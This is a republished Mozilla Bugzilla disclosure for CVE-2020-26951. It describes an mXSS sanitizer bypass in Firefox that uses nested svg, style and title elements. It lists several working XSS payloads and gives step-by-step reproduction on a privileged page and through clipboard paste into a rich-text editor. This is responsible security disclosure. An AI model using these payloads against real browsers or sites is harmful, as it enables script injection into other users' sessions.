Skip to content
XSS Disclosed report Advanced CVE-2020-26951

mXSS payload (combined svg, style, title element) lead to HTML Sanitizer Bypass and XSS via Clipboard API (paste)

Irvan Kurniawan Follow

Originally disclosed on Mozilla

  • Fixed in 29 days
  • Paid in 33 days
  • Disclosed after 29 days

Created attachment 9177645 uxss-svg-style-title.html

When continuing fuzzing the Firefox Nightly, I found another HTML sanitizer bypass with payload <svg><style><title>[xss payload]. The impact leads to HTML sanitizer bypass on privileged page and UXSS via clipboard API (paste).

Although DOM tree on document.body.innerHTML show <svg><style></style></svg>, but script execution is still possible.

Several XSS payloads I tested and it works:

  • <svg><style><title><audio src/onerror=alert(14)>
  • <svg><style><title><img src/onerror=alert(14)>
  • <svg><style><title><input src type=image onerror=alert(14)>

(and another [xss payload] probably will works..)

Browser tested:

  • Firefox Nightly 83.0a1 (2020-09-23) (64-bit)
  • Firefox Release 81.0 (64-bit)
  • Firefox ESR 78.3.0esr (64-bit)

Steps to reproduce:

HTML sanitizer bypass on privileged page

  1. Go to about:config
  2. Set security.csp.enable boolean from true -> false
  3. Restart Firefox Nightly
  4. Go to about:config
  5. Open Dev Tools (Ctrl+Shift+I)
  6. Click Console tab
  7. Paste the code document.body.innerHTML = "<svg><style><title><audio src/onerror=alert(Components.utils.loadedComponents[0])>" to the browser console
  8. XSS will execute

UXSS via clipboard API (paste)

  1. Download attached file "uxss-svg-style-title.html" (Sorry can't share direct-link, because GCP cloud console outage in Asia)
  2. Click Copy Text
  3. Go to https://output.jsbin.com/gocizet/ (TinyMCE Rich Editor form)
  4. Paste with Ctrl+V or Right click -> Paste into TinyMCE form
  5. XSS will execute [pop alert(document.domain)]

The original report as published on Mozilla's Bugzilla, by Irvan Kurniawan. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in DOM: Core & HTML. Mozilla made it public on 23 October 2020 as CVE-2020-26951.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Irvan Kurniawan

View all

72 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.